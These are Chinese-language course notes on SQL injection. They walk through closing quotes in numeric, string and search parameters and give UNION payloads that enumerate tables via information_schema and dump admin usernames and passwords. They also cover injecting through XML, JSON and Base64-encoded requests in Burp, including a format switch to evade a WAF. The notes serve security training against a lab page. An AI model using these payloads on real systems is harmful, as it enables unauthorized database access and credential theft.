#SQL注入產生原理:
代碼中執行的SQL語句存在可控變量導致
#常見SQL注入的利用過程:
1、判斷數據庫類型
2、判斷參數類型及格式
3、判斷數據格式及提交
4、判斷數據回顯及防護
5、獲取數據庫名,表名,列名
5、獲取對應數據及嘗試其他利用
#黑盒/白盒如何發現SQL注入
1、盲對所有參數進行測試
2、整合功能點腦補進行測試
白盒參考后期代碼審計課程
利用過程:
獲取數據庫名->表名->列名->數據(一般是關鍵數據,如管理員)
案例說明:
在應用中,存在參數值為數字,字符時,符號的介入,另外搜索功能通配符的再次介入,另外傳輸數據可由最基本的對應賦值傳遞改為更加智能的XML或JSON格式傳遞,部分保證更安全的情況還會采用編碼或加密形式傳遞數據,給于安全測試過程中更大的挑戰和難度。
#數字,字符,搜索
例:
select * from news where id=$id; //數字
select * from news where name='$name'; //這種是字符串
select * from news where name like '%name%'; //這種實現查找功能的,%這個是通配符,和Windows*是一樣的,就是搜索時
符號干擾:要考慮接收的參數的類型是什么,有無單引號或雙引號及通配符等,有就要對其進行閉合,不然寫的攻擊語句不會生效
直接讓ai寫一個帶有搜索功能的頁面
輸入一個1時顯示 新聞標題1
判斷原始查詢結果集的列數,要先對 %’ 進行閉合 ,這里是3列
判斷回顯位置
查詢當前數據庫名 union select 1.database(),3
查詢當前數據庫的所有表名 -1%' union select 1,2 ,group_concat(table_name) from information_schema.tables where table_schema='news_db' #
根據當前書庫和表名查詢, 表中的字段名
?-1%' union select 1,2 ,group_concat(column_name ) from information_schema.columns where table_name='admin' and table_schema='news_db' #
根據表名查詢里面的字段名,對應的所有值
流程:
order by 3 判斷原始查詢結果集的列數
union select 1,2,3 回顯位置
union select 1.database(),3 知道數據庫名:database() news_db
獲取數據庫名下的表名信息:
借助自帶的information_schema.tables表(記錄所有數據庫名下的表名)
?-1%' union select 1,2 ,group_concat(table_name) from information_schema.tables where table_schema='news_db' #
admin下列名
借助自帶的information_schema.columns表(記錄所有數據庫名下的表名對應的列名信息)
?-1%' union select 1,2 ,group_concat(column_name ) from information_schema.columns where table_name='admin' and table_schema='news_db' #
知道表中的字段名后,根據字段名和要查詢的表,或去里面的值(數據)
?-1%' union select 1,group_concat(username),group_concat(password)from admin #
表結構:
?admin
?username,password
XML,JSON,編碼,混合 等格式
XML
<?xml version="1.0" encoding="UTF-8"?>
<news>
??? <article>
??????? <id>1</id>
??????? <title>xiaodi</title>
??????? <content>i am xiaodi</content>
?????? <created_at>2025-03-07</created_at>
??? </article>
??? <article>
??????? <id>2</id>
??????? <title>xiaodisec</title>
??????? <content>i am xiaodisec</content>
??????? <created_at>2025-03-06</created_at>
??? </article>
</news>
?burp抓包,查看數據格式
修改參數值,參數值在下面修改;后續操作就和上面的一樣
JSON:
{
??? "news:"[
??????? {
??????????? "id": 1,
??????????? "title": "xiaodi",
?????????? "content": "i am xiaodi",
?????????? "created_at": "2025-03-07"
??????? },
?
??????? {
??????????? "id": 2,
??????????? "title": "xiaodisec",
??????????? "content": "i am xiaodisec",
??????????? "created_at": "2025-03-06"
??????? }
??? ]
}
?開啟burp攔截,在頁面中搜索框中輸入一個值,然后查看burp抓到的數據內容,可以看到提交的格式是json,傳的參數值在下面
將數據包轉到repeater中,因為這個是搜索框的內容,所以先對 %’ 進行 閉合 ,再寫語句, 寫完語句之后,寫一個# ,將后面的語句注釋掉 ;這里是判斷列數,三列正常,說明列數是大于等于三的
輸入4列時,內容顯示不正常,說明是三列
后面的操作都是一樣的
如果用json格式發送payload時,被過濾或攔截了(waf),那么可以嘗試修改成xml等格式,進行發送,嘗試繞過,是否成功主要看對方是否接收這個格式和是否對修改的格式進行過濾等;
也有只接收json格式數據的,當格式不對時,無法正常接收數據,攻擊語句也就沒用了
Base64: (base64+json)
{
??? "news": [
??????? {
??????????? "id": "MQ==",
?????????? "title": "eGlhb2Rp",
??????????? "content": "aSBhbSB4aWFvZGk=",
??????????? "created_at": "MjAyNS0wMy0wNw=="
?????? },
?????? {
?????????? "id": "Mg==",
??????????? "title": "eGlhb2Rpc2Vj",
??????????? "content": "aSBhbSB4aWFvZGlzZWM=",
??????????? "created_at": "MjAyNS0wMy0wNg=="
??????? }
??? ]
}
?通過修改參數值,查看哪個數據有變動
修改參數值,可以看到只有keyword 的值在改變,因為這里是已知base64 編碼;如果看到的是一些很亂的數據,不符合已知的加密類型或編碼格式時,就要去看js數據包中,有沒有寫加密的算法了(因為在抓包時數據就被加密了,所以加密是在前端就完成了;因為html的算法無法實現加密,所以大部分是在js代碼中);發送數據包測試時,要按照它的編碼或加密 以及格式去發送,不然對方無法正常處理發送過去的數據,那么就無法知道這里是否存在注入點;所以當數據被加密或編碼時,要先找到它的加密方法和編碼格式等,然后按照對方接收的格式和將測試數據進行加密后發送,才能順利進入邏輯,對方才能進行解密和解碼
寫的時候要注意單引號是否是英文的,還是中文的,不要寫錯了
判斷列
用帽子對數據進行base64 編碼后再發送數據進行測試
1、數據傳輸采用XML或JSON格式傳遞
2、數據傳輸采用編碼或加密形式傳遞 ;先看特征,如果符合就先測試看看,如果不行就再找代碼查看
3、數據傳遞采用JSON又采用編碼傳遞
#實例應用:
編碼注入案例:
互聯網搜下對應說明
實戰 || 記一次某項目中奇怪的SQL注入漏洞